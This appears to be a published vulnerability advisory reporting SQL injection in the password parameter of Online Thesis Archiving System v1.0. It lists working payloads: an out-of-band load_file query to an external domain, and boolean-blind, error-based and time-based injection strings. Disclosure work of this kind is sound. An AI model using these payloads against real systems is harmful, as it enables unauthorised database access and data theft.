Authored by nu11secur1ty

Online Thesis Archiving System version 1.0 suffers from a remote SQL injection vulnerability.

## Title: OTAS - PHP (by: oretnom23 ) v1.0 Multiple-SQLi
## Author: nu11secur1ty
## Date: 06.12.2023
## Vendor: https://github.com/oretnom23
## Software: https://www.sourcecodester.com/php/15083/online-thesis-archiving-system-using-phpoop-free-source-code.html
## Reference: https://portswigger.net/web-security/sql-injection

## Description:
The password parameter appears to be vulnerable to SQL injection
attacks. The payload '+(select
load_file('\t5z7nwb485tiyvqzqnv3hp1z3q9jxatyk18tvkj9.tupungerispanski.comock'))+'
was submitted in the password parameter.
This payload injects a SQL sub-query that calls MySQL's load_file
function with a UNC file path that references a URL on an external
domain. The application interacted with that domain, indicating that
the injected SQL query was executed. The attacker can dump all
information from the
database of this system, and then he can use it for dangerous and
malicious purposes!

STATUS: HIGH-CRITICAL Vulnerability

[+]Payload:
```mysql
---
Parameter: password (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
Payload: [email protected]&password=v7K!u1n!T7')
OR NOT 1404=1404-- Eotr

Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or
GROUP BY clause (FLOOR)
Payload: [email protected]&password=v7K!u1n!T7')
AND (SELECT 5476 FROM(SELECT COUNT(*),CONCAT(0x717a6b6b71,(SELECT
(ELT(5476=5476,1))),0x71766a7a71,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- sOUa

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: [email protected]&password=v7K!u1n!T7')
AND (SELECT 6301 FROM (SELECT(SLEEP(15)))MFgI)-- HCqY
---

```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2023/OTAS-v1.0)

## Proof and Exploit:
[href](https://www.nu11secur1ty.com/2023/06/otas-php-by-oretnom23-v10-multiple-sqli.html)

## Time spend:
01:15:00